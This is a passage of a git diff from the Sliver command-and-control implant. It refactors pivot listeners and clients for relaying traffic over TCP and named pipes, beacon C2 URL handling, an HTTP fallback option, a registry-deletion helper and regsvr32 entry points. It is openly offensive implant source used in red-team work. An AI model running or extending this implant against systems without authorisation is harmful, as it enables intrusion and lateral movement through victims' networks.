|
||||
ID uint32
|
||||
Type pb.PivotType
|
||||
Listener net.Listener
|
||||
PivotConnections *sync.Map // PeerID (int64) -> NetConnPivot
|
||||
BindAddress string
|
||||
Upstream chan<- *pb.Envelope
|
||||
}
|
||||
|
||||
// ToProtobuf - Get the protobuf version of the pivot listener
|
||||
func (l *PivotListener) ToProtobuf() *pb.PivotListener {
|
||||
pivotPeers := []*pb.PivotPeer{}
|
||||
l.Pivots.Range(func(key interface{}, value interface{}) bool {
|
||||
pivotPeers := []*pb.NetConnPivot{}
|
||||
l.PivotConnections.Range(func(key interface{}, value interface{}) bool {
|
||||
pivot := value.(*NetConnPivot)
|
||||
pivotPeers = append(pivotPeers, pivot.ToProtobuf())
|
||||
return true
|
||||
@@ -156,23 +228,47 @@ func (l *PivotListener) ToProtobuf() *pb.PivotListener {
|
||||
}
|
||||
}
|
||||
|
||||
// Stop - Stop the pivot listener
|
||||
func (l *PivotListener) Stop() {
|
||||
// Close all peer connections before closing listener
|
||||
l.Pivots.Range(func(key interface{}, value interface{}) bool {
|
||||
value.(*NetConnPivot).Close()
|
||||
return true
|
||||
})
|
||||
l.Pivots = nil
|
||||
l.Listener.Close()
|
||||
// Start - Start the pivot listener
|
||||
func (p *PivotListener) Start() {
|
||||
for {
|
||||
conn, err := p.Listener.Accept()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] accept error: %s", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
// handle connection like any other net.Conn
|
||||
pivotConn := &NetConnPivot{
|
||||
conn: conn,
|
||||
readMutex: &sync.Mutex{},
|
||||
writeMutex: &sync.Mutex{},
|
||||
readDeadline: pivotReadDeadline,
|
||||
writeDeadline: pivotWriteDeadline,
|
||||
upstream: p.Upstream,
|
||||
Downstream: make(chan *pb.Envelope),
|
||||
}
|
||||
go pivotConn.Start(p.PivotConnections)
|
||||
}
|
||||
}
|
||||
|
||||
// PivotClose - Close a pivot connection
|
||||
func (l *PivotListener) PivotClose(id int64) {
|
||||
if p, ok := l.Pivots.Load(id); ok {
|
||||
l.Pivots.Delete(id)
|
||||
p.(*NetConnPivot).Close()
|
||||
// Stop - Stop the pivot listener
|
||||
func (l *PivotListener) Stop() {
|
||||
l.Listener.Close() // Stop accepting new connections
|
||||
|
||||
// Close all existing connections
|
||||
connectionIDs := []int64{}
|
||||
l.PivotConnections.Range(func(key interface{}, value interface{}) bool {
|
||||
connectionIDs = append(connectionIDs, key.(int64))
|
||||
return true
|
||||
})
|
||||
for _, id := range connectionIDs {
|
||||
pivotConn, ok := l.PivotConnections.LoadAndDelete(id)
|
||||
if ok {
|
||||
pivotConn.(*NetConnPivot).Close()
|
||||
}
|
||||
}
|
||||
l.PivotConnections = &sync.Map{} // Make sure we drop any refs
|
||||
}
|
||||
|
||||
// ListenerID - Generate a new pivot id
|
||||
@@ -181,55 +277,50 @@ func ListenerID() uint32 {
|
||||
return listenerID
|
||||
}
|
||||
|
||||
// PivotID - Generate a new pivot id
|
||||
func PivotID() int64 {
|
||||
buf := make([]byte, 8)
|
||||
rand.Read(buf)
|
||||
return int64(binary.LittleEndian.Uint64(buf))
|
||||
}
|
||||
|
||||
// NetConnPivot - A generic pivot connection to a peer via net.Conn
|
||||
type NetConnPivot struct {
|
||||
id int64
|
||||
conn net.Conn
|
||||
readMutex *sync.Mutex
|
||||
writeMutex *sync.Mutex
|
||||
cipherCtx *cryptography.CipherContext
|
||||
readDeadline time.Duration
|
||||
writeDeadline time.Duration
|
||||
downstreamPeerID int64
|
||||
conn net.Conn
|
||||
readMutex *sync.Mutex
|
||||
writeMutex *sync.Mutex
|
||||
cipherCtx *cryptography.CipherContext
|
||||
readDeadline time.Duration
|
||||
writeDeadline time.Duration
|
||||
|
||||
upstream chan<- *pb.Envelope
|
||||
Downstream chan *pb.Envelope
|
||||
}
|
||||
|
||||
// ID - ID of peer pivot
|
||||
func (p *NetConnPivot) ID() int64 {
|
||||
return p.id
|
||||
// DownstreamPeerID - ID of peer pivot
|
||||
func (p *NetConnPivot) DownstreamPeerID() int64 {
|
||||
return p.downstreamPeerID
|
||||
}
|
||||
|
||||
// ToProtobuf - Protobuf of pivot peer
|
||||
func (p *NetConnPivot) ToProtobuf() *pb.PivotPeer {
|
||||
return &pb.PivotPeer{
|
||||
ID: p.id,
|
||||
func (p *NetConnPivot) ToProtobuf() *pb.NetConnPivot {
|
||||
return &pb.NetConnPivot{
|
||||
PeerID: p.downstreamPeerID,
|
||||
RemoteAddress: p.RemoteAddress(),
|
||||
}
|
||||
}
|
||||
|
||||
// Start - Starts the TCP pivot connection handler
|
||||
func (p *NetConnPivot) Start(pivots *sync.Map) {
|
||||
defer p.conn.Close()
|
||||
defer func() {
|
||||
p.conn.Close()
|
||||
}()
|
||||
err := p.peerKeyExchange()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] peer key exchange completed successfully")
|
||||
log.Printf("[pivot] peer key exchange completed successfully with peer %d", p.downstreamPeerID)
|
||||
// {{end}}
|
||||
|
||||
// We don't want to register the peer prior to the key exchange
|
||||
// Add & remove self from listener pivots map
|
||||
pivots.Store(p.ID(), p)
|
||||
defer pivots.Delete(p.ID())
|
||||
pivots.Store(p.DownstreamPeerID(), p)
|
||||
defer pivots.Delete(p.DownstreamPeerID())
|
||||
|
||||
go func() {
|
||||
defer close(p.Downstream)
|
||||
@@ -246,22 +337,30 @@ func (p *NetConnPivot) Start(pivots *sync.Map) {
|
||||
Type: pb.MsgPivotPeerPing,
|
||||
Data: envelope.Data,
|
||||
}
|
||||
} else {
|
||||
} else if envelope.Type == pb.MsgPivotPeerEnvelope {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] received peer envelope, upstreaming (%d) ...", envelope.Type)
|
||||
// {{end}}
|
||||
envelopeData, _ := proto.Marshal(envelope)
|
||||
data, _ := proto.Marshal(&pb.PivotPeerEnvelope{
|
||||
PeerID: PeerID, // This proccess' Peer ID
|
||||
PivotID: p.ID(), // The Pivot connection ID
|
||||
Name: consts.SliverName,
|
||||
Data: envelopeData,
|
||||
})
|
||||
p.upstream <- &pb.Envelope{
|
||||
ID: 0, // Pivot server implementation uses handlers, so ID must be zero
|
||||
Type: pb.MsgPivotPeerEnvelope,
|
||||
Data: data,
|
||||
peerEnvelope := &pb.PivotPeerEnvelope{}
|
||||
err := proto.Unmarshal(envelope.Data, peerEnvelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] error un-marshalling peer envelope: %s", err)
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
// Append ourselves to the list of peers, and then upstream
|
||||
peerEnvelope.Peers = append(peerEnvelope.Peers, &pb.PivotPeer{
|
||||
PeerID: MyPeerID,
|
||||
Name: consts.SliverName,
|
||||
})
|
||||
envelope.Data, _ = proto.Marshal(peerEnvelope)
|
||||
p.upstream <- envelope
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] received unknown message type (%d), dropping ...", envelope.Type)
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
}
|
||||
}()
|
||||
@@ -269,6 +368,15 @@ func (p *NetConnPivot) Start(pivots *sync.Map) {
|
||||
for envelope := range p.Downstream {
|
||||
err := p.writeEnvelope(envelope)
|
||||
if err != nil {
|
||||
if p.downstreamPeerID != 0 {
|
||||
p.upstream <- &pb.Envelope{
|
||||
Type: pb.MsgPivotPeerFailure,
|
||||
Data: mustMarshal(&pb.PivotPeerFailure{
|
||||
Type: pb.PeerFailureType_DISCONNECT,
|
||||
PeerID: p.downstreamPeerID,
|
||||
}),
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
@@ -301,6 +409,7 @@ func (p *NetConnPivot) peerKeyExchange() error {
|
||||
// {{end}}
|
||||
return ErrFailedKeyExchange
|
||||
}
|
||||
p.downstreamPeerID = peerHello.PeerID
|
||||
sessionKey := cryptography.RandomKey()
|
||||
p.cipherCtx = cryptography.NewCipherContext(sessionKey)
|
||||
ciphertext, err := cryptography.ECCEncryptToPeer(peerHello.PublicKey, peerHello.PublicKeySignature, sessionKey[:])
|
||||
@@ -461,3 +570,8 @@ func (p *NetConnPivot) RemoteAddress() string {
|
||||
func (p *NetConnPivot) Close() error {
|
||||
return p.conn.Close()
|
||||
}
|
||||
|
||||
func mustMarshal(msg proto.Message) []byte {
|
||||
data, _ := proto.Marshal(msg)
|
||||
return data
|
||||
}
|
||||
@@ -24,6 +24,6 @@ import (
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var SupportedPivotListeners = map[pb.PivotType]StartListener{
|
||||
pb.PivotType_TCP: StartTCPPivotListener,
|
||||
var SupportedPivotListeners = map[pb.PivotType]CreateListener{
|
||||
pb.PivotType_TCP: CreateTCPPivotListener,
|
||||
}
|
||||
@@ -22,7 +22,7 @@ import (
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var SupportedPivotListeners = map[pb.PivotType]StartListener{
|
||||
pb.PivotType_TCP: StartTCPPivotListener,
|
||||
pb.PivotType_NamedPipe: StartNamedPipePivotListener,
|
||||
var SupportedPivotListeners = map[pb.PivotType]CreateListener{
|
||||
pb.PivotType_TCP: CreateTCPPivotListener,
|
||||
pb.PivotType_NamedPipe: CreateNamedPipePivotListener,
|
||||
}
|
||||
@@ -35,8 +35,8 @@ var (
|
||||
tcpPivotWriteDeadline = 10 * time.Second
|
||||
)
|
||||
|
||||
// StartTCPPivotListener - Start a TCP listener
|
||||
func StartTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
|
||||
// CreateTCPPivotListener - Start a TCP listener
|
||||
func CreateTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Starting TCP pivot listener on %s", address)
|
||||
// {{end}}
|
||||
@@ -48,37 +48,12 @@ func StartTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*Pivot
|
||||
return nil, err
|
||||
}
|
||||
pivotListener := &PivotListener{
|
||||
ID: ListenerID(),
|
||||
Type: pb.PivotType_TCP,
|
||||
Listener: ln,
|
||||
Pivots: &sync.Map{},
|
||||
BindAddress: address,
|
||||
Upstream: upstream,
|
||||
ID: ListenerID(),
|
||||
Type: pb.PivotType_TCP,
|
||||
Listener: ln,
|
||||
PivotConnections: &sync.Map{},
|
||||
BindAddress: address,
|
||||
Upstream: upstream,
|
||||
}
|
||||
go tcpPivotAcceptNewConnections(pivotListener)
|
||||
return pivotListener, nil
|
||||
}
|
||||
|
||||
func tcpPivotAcceptNewConnections(pivotListener *PivotListener) {
|
||||
for {
|
||||
conn, err := pivotListener.Listener.Accept()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] listener stopping: %s", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
// handle connection like any other net.Conn
|
||||
pivotConn := &NetConnPivot{
|
||||
id: PivotID(),
|
||||
conn: conn,
|
||||
readMutex: &sync.Mutex{},
|
||||
writeMutex: &sync.Mutex{},
|
||||
readDeadline: tcpPivotReadDeadline,
|
||||
writeDeadline: tcpPivotWriteDeadline,
|
||||
upstream: pivotListener.Upstream,
|
||||
Downstream: make(chan *pb.Envelope),
|
||||
}
|
||||
go pivotConn.Start(pivotListener.Pivots)
|
||||
}
|
||||
}
|
||||
@@ -127,6 +127,26 @@ func WriteKey(hostname string, hive string, path string, key string, value inter
|
||||
return err
|
||||
}
|
||||
|
||||
// DeleteKey removes an existing key or value.
|
||||
// Removing a value takes precident over removing a key.
|
||||
// If neither exists, an error is returned.
|
||||
func DeleteKey(hostname string, hive string, path string, key string) error {
|
||||
k, err := openKey(hostname, hive, path, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("could not open key %s: %s\n", path, err.Error())
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
|
||||
err = k.DeleteValue(key)
|
||||
if err != nil {
|
||||
err = registry.DeleteKey(*k, key)
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
// ListSubKeys returns all the subkeys for the provided path
|
||||
func ListSubKeys(hostname string, hive string, path string) (results []string, err error) {
|
||||
k, err := openKey(hostname, hive, path, registry.READ|registry.RESOURCE_LIST|registry.FULL_RESOURCE_DESCRIPTOR)
|
||||
|
||||
+27
-23
@@ -52,6 +52,7 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/handlers"
|
||||
"github.com/bishopfox/sliver/implant/sliver/hostuuid"
|
||||
"github.com/bishopfox/sliver/implant/sliver/limits"
|
||||
"github.com/bishopfox/sliver/implant/sliver/pivots"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/implant/sliver/version"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -80,11 +81,10 @@ var (
|
||||
func init() {
|
||||
buf := make([]byte, 8)
|
||||
n, err := rand.Read(buf)
|
||||
seed := uint64(time.Now().Unix())
|
||||
if err == nil && n == len(buf) {
|
||||
binary.LittleEndian.PutUint64(buf, uint64(seed))
|
||||
if err != nil || n != len(buf) {
|
||||
binary.LittleEndian.PutUint64(buf, uint64(time.Now().Unix()))
|
||||
}
|
||||
insecureRand.Seed(int64(seed))
|
||||
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
|
||||
|
||||
id, err := uuid.NewV4()
|
||||
if err != nil {
|
||||
@@ -169,12 +169,12 @@ func DllInstall() { main() }
|
||||
|
||||
// DllRegisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s sliver.dll)
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms682162(v=vs.85).aspx
|
||||
// export DllRegisterServer
|
||||
//export DllRegisterServer
|
||||
func DllRegisterServer() { main() }
|
||||
|
||||
// DllUnregisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /u sliver.dll)
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms691457(v=vs.85).aspx
|
||||
// export DllUnregisterServer
|
||||
//export DllUnregisterServer
|
||||
func DllUnregisterServer() { main() }
|
||||
|
||||
// {{end}}
|
||||
@@ -295,8 +295,8 @@ func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
// {{end}}
|
||||
nextCheckin := time.Now().Add(beacon.Duration())
|
||||
register := registerSliver()
|
||||
register.ActiveC2 = beacon.URL()
|
||||
register.ProxyURL = beacon.ProxyURL()
|
||||
register.ActiveC2 = beacon.ActiveC2
|
||||
register.ProxyURL = beacon.ProxyURL
|
||||
beacon.Send(wrapEnvelope(sliverpb.MsgBeaconRegister, &sliverpb.BeaconRegister{
|
||||
ID: InstanceID,
|
||||
Interval: beacon.Interval(),
|
||||
@@ -527,7 +527,10 @@ func sessionMainLoop(connection *transports.Connection) error {
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
pivots.RestartAllListeners(connection.Send)
|
||||
defer pivots.StopAllListeners()
|
||||
defer connection.Stop()
|
||||
|
||||
connectionErrors = 0
|
||||
// Reconnect active pivots
|
||||
// pivots.ReconnectActivePivots(connection)
|
||||
@@ -589,6 +592,8 @@ func sessionMainLoop(connection *transports.Connection) error {
|
||||
log.Printf("[recv] tunHandler %d", envelope.Type)
|
||||
// {{end}}
|
||||
go handler(envelope, connection)
|
||||
} else if envelope.Type == sliverpb.MsgCloseSession {
|
||||
return nil
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[recv] unknown envelope type %d", envelope.Type)
|
||||
@@ -618,7 +623,7 @@ func wrapEnvelope(msgType uint32, message protoreflect.ProtoMessage) *sliverpb.E
|
||||
}
|
||||
}
|
||||
|
||||
// registerSliver - Creates a registartion protobuf message
|
||||
// registerSliver - Creates a registration protobuf message
|
||||
func registerSliver() *sliverpb.Register {
|
||||
hostname, err := os.Hostname()
|
||||
if err != nil {
|
||||
@@ -660,20 +665,19 @@ func registerSliver() *sliverpb.Register {
|
||||
// {{end}}
|
||||
|
||||
return &sliverpb.Register{
|
||||
Name: consts.SliverName,
|
||||
Hostname: hostname,
|
||||
Uuid: uuid,
|
||||
Username: currentUser.Username,
|
||||
Uid: currentUser.Uid,
|
||||
Gid: currentUser.Gid,
|
||||
Os: runtime.GOOS,
|
||||
Version: version.GetVersion(),
|
||||
Arch: runtime.GOARCH,
|
||||
Pid: int32(os.Getpid()),
|
||||
Filename: filename,
|
||||
// ActiveC2: transports.GetActiveC2(),
|
||||
Name: consts.SliverName,
|
||||
Hostname: hostname,
|
||||
Uuid: uuid,
|
||||
Username: currentUser.Username,
|
||||
Uid: currentUser.Uid,
|
||||
Gid: currentUser.Gid,
|
||||
Os: runtime.GOOS,
|
||||
Version: version.GetVersion(),
|
||||
Arch: runtime.GOARCH,
|
||||
Pid: int32(os.Getpid()),
|
||||
Filename: filename,
|
||||
ReconnectInterval: int64(transports.GetReconnectInterval()),
|
||||
// ProxyURL: transports.GetProxyURL(),
|
||||
ConfigID: "{{ .Config.ID }}",
|
||||
ConfigID: "{{ .Config.ID }}",
|
||||
PeerID: pivots.MyPeerID,
|
||||
}
|
||||
}
|
||||
@@ -80,24 +80,8 @@ type Beacon struct {
|
||||
Close BeaconClose
|
||||
Cleanup BeaconCleanup
|
||||
|
||||
url *url.URL
|
||||
proxyURL *url.URL
|
||||
}
|
||||
|
||||
// URL - Returns the c2 URL of the beacon
|
||||
func (b *Beacon) URL() string {
|
||||
if b.url == nil {
|
||||
return ""
|
||||
}
|
||||
return b.url.String()
|
||||
}
|
||||
|
||||
// ProxyURL - Returns the c2 URL of the beacon
|
||||
func (b *Beacon) ProxyURL() string {
|
||||
if b.proxyURL == nil {
|
||||
return ""
|
||||
}
|
||||
return b.url.String()
|
||||
ActiveC2 string
|
||||
ProxyURL string
|
||||
}
|
||||
|
||||
// Interval - Interval between beacons
|
||||
@@ -215,6 +199,7 @@ func mtlsBeacon(uri *url.URL) *Beacon {
|
||||
|
||||
var conn *tls.Conn
|
||||
beacon := &Beacon{
|
||||
ActiveC2: uri.String(),
|
||||
Init: func() error {
|
||||
return nil
|
||||
},
|
||||
@@ -262,6 +247,7 @@ func wgBeacon(uri *url.URL) *Beacon {
|
||||
var conn net.Conn
|
||||
var dev *device.Device
|
||||
beacon := &Beacon{
|
||||
ActiveC2: uri.String(),
|
||||
Init: func() error {
|
||||
return nil
|
||||
},
|
||||
@@ -317,9 +303,11 @@ func httpBeacon(uri *url.URL) *Beacon {
|
||||
|
||||
var client *httpclient.SliverHTTPClient
|
||||
var err error
|
||||
opts := httpclient.ParseHTTPOptions(uri)
|
||||
beacon := &Beacon{
|
||||
ActiveC2: uri.String(),
|
||||
ProxyURL: opts.ProxyConfig,
|
||||
Init: func() error {
|
||||
opts := httpclient.ParseHTTPOptions(uri)
|
||||
client, err = httpclient.HTTPStartSession(uri.Host, uri.Path, opts)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -356,6 +344,7 @@ func dnsBeacon(uri *url.URL) *Beacon {
|
||||
var client *dnsclient.SliverDNSClient
|
||||
var err error
|
||||
beacon := &Beacon{
|
||||
ActiveC2: uri.String(),
|
||||
Init: func() error {
|
||||
opts := dnsclient.ParseDNSOptions(uri)
|
||||
client, err = dnsclient.DNSStartSession(uri.Host, opts)
|
||||
|
||||
@@ -66,6 +66,7 @@ type HTTPOptions struct {
|
||||
TlsTimeout time.Duration
|
||||
PollTimeout time.Duration
|
||||
MaxErrors int
|
||||
ForceHTTP bool
|
||||
|
||||
ProxyConfig string
|
||||
ProxyUsername string
|
||||
@@ -95,6 +96,7 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
|
||||
TlsTimeout: tlsTimeout,
|
||||
PollTimeout: pollTimeout,
|
||||
MaxErrors: maxErrors,
|
||||
ForceHTTP: c2URI.Query().Get("force-http") == "true",
|
||||
|
||||
ProxyConfig: c2URI.Query().Get("proxy"),
|
||||
ProxyUsername: c2URI.Query().Get("proxy-username"),
|
||||
@@ -105,11 +107,17 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
|
||||
// HTTPStartSession - Attempts to start a session with a given address
|
||||
func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*SliverHTTPClient, error) {
|
||||
var client *SliverHTTPClient
|
||||
client = httpsClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig)
|
||||
client.pollTimeout = opts.PollTimeout
|
||||
client.PathPrefix = pathPrefix
|
||||
err := client.SessionInit()
|
||||
if err != nil {
|
||||
var err error
|
||||
if !opts.ForceHTTP {
|
||||
client = httpsClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig)
|
||||
client.pollTimeout = opts.PollTimeout
|
||||
client.PathPrefix = pathPrefix
|
||||
err = client.SessionInit()
|
||||
if err == nil {
|
||||
return client, nil
|
||||
}
|
||||
}
|
||||
if err != nil || opts.ForceHTTP {
|
||||
// If we're using default ports then switch to 80
|
||||
if strings.HasSuffix(address, ":443") {
|
||||
address = fmt.Sprintf("%s:80", address[:len(address)-4])
|
||||
|
||||
@@ -21,30 +21,57 @@ package pivotclients
|
||||
import (
|
||||
"net/url"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
var (
|
||||
defaultNamedPipeDeadline = time.Second * 10
|
||||
)
|
||||
|
||||
// ParseNamedPipePivotOptions - Parse the options for the TCP pivot from a C2 URL
|
||||
func ParseNamedPipePivotOptions(uri *url.URL) *NamedPipePivotOptions {
|
||||
readDeadline, err := time.ParseDuration(uri.Query().Get("read-deadline"))
|
||||
if err != nil {
|
||||
readDeadline = defaultNamedPipeDeadline
|
||||
}
|
||||
writeDeadline, err := time.ParseDuration(uri.Query().Get("write-deadline"))
|
||||
if err != nil {
|
||||
writeDeadline = defaultNamedPipeDeadline
|
||||
}
|
||||
return &NamedPipePivotOptions{
|
||||
ReadDeadline: readDeadline,
|
||||
WriteDeadline: writeDeadline,
|
||||
}
|
||||
}
|
||||
|
||||
// NamedPipePivotOptions - Options for the NamedPipe pivot
|
||||
type NamedPipePivotOptions struct {
|
||||
Timeout time.Duration
|
||||
ReadDeadline time.Duration
|
||||
WriteDeadline time.Duration
|
||||
}
|
||||
|
||||
// ParseNamedPipePivotOptions - Parse the options for the TCP pivot from a C2 URL
|
||||
func ParseNamedPipePivotOptions(uri *url.URL) *NamedPipePivotOptions {
|
||||
opts := &NamedPipePivotOptions{}
|
||||
if readDeadline, err := time.ParseDuration(uri.Query().Get("read-deadline")); err == nil {
|
||||
opts.ReadDeadline = readDeadline
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
if uri.Query().Get("read-deadline") != "" {
|
||||
log.Printf("failed to parse read-deadline: %s", err)
|
||||
}
|
||||
// {{end}}
|
||||
opts.ReadDeadline = defaultNamedPipeDeadline
|
||||
}
|
||||
if writeDeadline, err := time.ParseDuration(uri.Query().Get("write-deadline")); err == nil {
|
||||
opts.WriteDeadline = writeDeadline
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
if uri.Query().Get("write-deadline") != "" {
|
||||
log.Printf("failed to parse write-deadline: %s", err)
|
||||
}
|
||||
// {{end}}
|
||||
opts.WriteDeadline = defaultNamedPipeDeadline
|
||||
}
|
||||
|
||||
if timeout, err := time.ParseDuration(uri.Query().Get("timeout")); err == nil {
|
||||
opts.Timeout = timeout
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
if uri.Query().Get("timeout") != "" {
|
||||
log.Printf("failed to parse timeout: %s", err)
|
||||
}
|
||||
// {{end}}
|
||||
opts.Timeout = defaultNamedPipeDeadline
|
||||
}
|
||||
|
||||
return opts
|
||||
}
|
||||
@@ -34,14 +34,16 @@ import (
|
||||
|
||||
// NamedPipePivotStartSession - Start a TCP pivot session with a peer
|
||||
func NamedPipePivotStartSession(uri *url.URL, opts *NamedPipePivotOptions) (*NetConnPivotClient, error) {
|
||||
address := uri.String()
|
||||
address = strings.ReplaceAll(address, "namedpipe://", "")
|
||||
address = "\\\\" + strings.ReplaceAll(address, "/", "\\")
|
||||
address := "\\\\" + uri.Hostname() + strings.Replace(uri.Path, "/", "\\", -1)
|
||||
// {{if .Config.Debug}}
|
||||
log.Print("Pivot named pipe address: ", address)
|
||||
log.Printf("Pivot named pipe address: %s", address)
|
||||
log.Printf("Options: %+v", opts)
|
||||
// {{end}}
|
||||
conn, err := winio.DialPipe(address, nil)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to connect to named pipe: %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -53,17 +55,11 @@ func NamedPipePivotStartSession(uri *url.URL, opts *NamedPipePivotOptions) (*Net
|
||||
readDeadline: opts.ReadDeadline,
|
||||
writeDeadline: opts.WriteDeadline,
|
||||
}
|
||||
err = pivot.peerKeyExchange()
|
||||
err = pivot.KeyExchange()
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
return nil, err
|
||||
}
|
||||
err = pivot.serverKeyExchange()
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return pivot, nil
|
||||
}
|
||||
|
||||
|
||||
@@ -20,7 +20,6 @@ package pivotclients
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
@@ -32,26 +31,16 @@ import (
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
consts "github.com/bishopfox/sliver/implant/sliver/constants"
|
||||
"github.com/bishopfox/sliver/implant/sliver/cryptography"
|
||||
"github.com/bishopfox/sliver/implant/sliver/pivots"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/gofrs/uuid"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var (
|
||||
OriginID = originID() // The origin's PeerID
|
||||
)
|
||||
|
||||
// originID - Random origin identifier
|
||||
func originID() int64 {
|
||||
buf := make([]byte, 8)
|
||||
rand.Read(buf)
|
||||
return int64(binary.LittleEndian.Uint64(buf))
|
||||
}
|
||||
|
||||
// NetConnPivotClient - A TCP pivot client
|
||||
// NetConnPivotClient - A generic net.Conn pivot client
|
||||
type NetConnPivotClient struct {
|
||||
originID int64
|
||||
pivotSessionID []byte
|
||||
conn net.Conn
|
||||
readMutex *sync.Mutex
|
||||
@@ -92,6 +81,7 @@ func (p *NetConnPivotClient) peerKeyExchange() error {
|
||||
}
|
||||
pivotHello, _ := proto.Marshal(&pb.PivotHello{
|
||||
PublicKey: publicKey,
|
||||
PeerID: pivots.MyPeerID,
|
||||
PublicKeySignature: cryptography.ECCPublicKeySignature,
|
||||
})
|
||||
|
||||
@@ -131,26 +121,33 @@ func (p *NetConnPivotClient) peerKeyExchange() error {
|
||||
}
|
||||
|
||||
func (p *NetConnPivotClient) serverKeyExchange() error {
|
||||
p.originID = OriginID
|
||||
serverSessionKey := cryptography.RandomKey()
|
||||
p.serverCipherCtx = cryptography.NewCipherContext(serverSessionKey)
|
||||
ciphertext, err := cryptography.ECCEncryptToServer(serverSessionKey[:])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
pivotServerKeyExchange, _ := proto.Marshal(&pb.PivotServerKeyExchange{
|
||||
OriginID: p.originID,
|
||||
pivotServerKeyExchangeData, _ := proto.Marshal(&pb.PivotServerKeyExchange{
|
||||
OriginID: pivots.MyPeerID,
|
||||
SessionKey: ciphertext,
|
||||
})
|
||||
pivotServerKeyExchangeEnvelope, _ := proto.Marshal(&pb.Envelope{
|
||||
peerEnvelopeData, _ := proto.Marshal(&pb.PivotPeerEnvelope{
|
||||
Peers: []*pb.PivotPeer{
|
||||
{PeerID: pivots.MyPeerID, Name: consts.SliverName},
|
||||
},
|
||||
Type: pb.MsgPivotServerKeyExchange,
|
||||
Data: pivotServerKeyExchange,
|
||||
Data: pivotServerKeyExchangeData,
|
||||
})
|
||||
pivotServerKeyExchangeEnvelope, _ := proto.Marshal(&pb.Envelope{
|
||||
Type: pb.MsgPivotPeerEnvelope,
|
||||
Data: peerEnvelopeData,
|
||||
})
|
||||
keyExchangeCiphertext, err := p.peerCipherCtx.Encrypt(pivotServerKeyExchangeEnvelope)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] my peer id: %d", pivots.MyPeerID)
|
||||
log.Printf("[pivot] Sending server key exchange ...")
|
||||
// {{end}}
|
||||
p.conn.SetWriteDeadline(time.Now().Add(p.writeDeadline))
|
||||
@@ -167,23 +164,33 @@ func (p *NetConnPivotClient) serverKeyExchange() error {
|
||||
// a different read deadline here as this has to go round trip to the server if the
|
||||
// upstream implant uses a slow protocol it may take a while to go there and back again
|
||||
p.conn.SetReadDeadline(time.Now().Add(5 * time.Minute))
|
||||
serverKeyExchangeResp, err := p.ReadEnvelope()
|
||||
serverKeyExRespEnvelope, err := p.ReadEnvelope()
|
||||
p.conn.SetReadDeadline(time.Time{})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if serverKeyExchangeResp.Type != pb.MsgPivotServerKeyExchange {
|
||||
if serverKeyExRespEnvelope.Type != pb.MsgPivotServerKeyExchange {
|
||||
// {{if .Config.Debug}}
|
||||
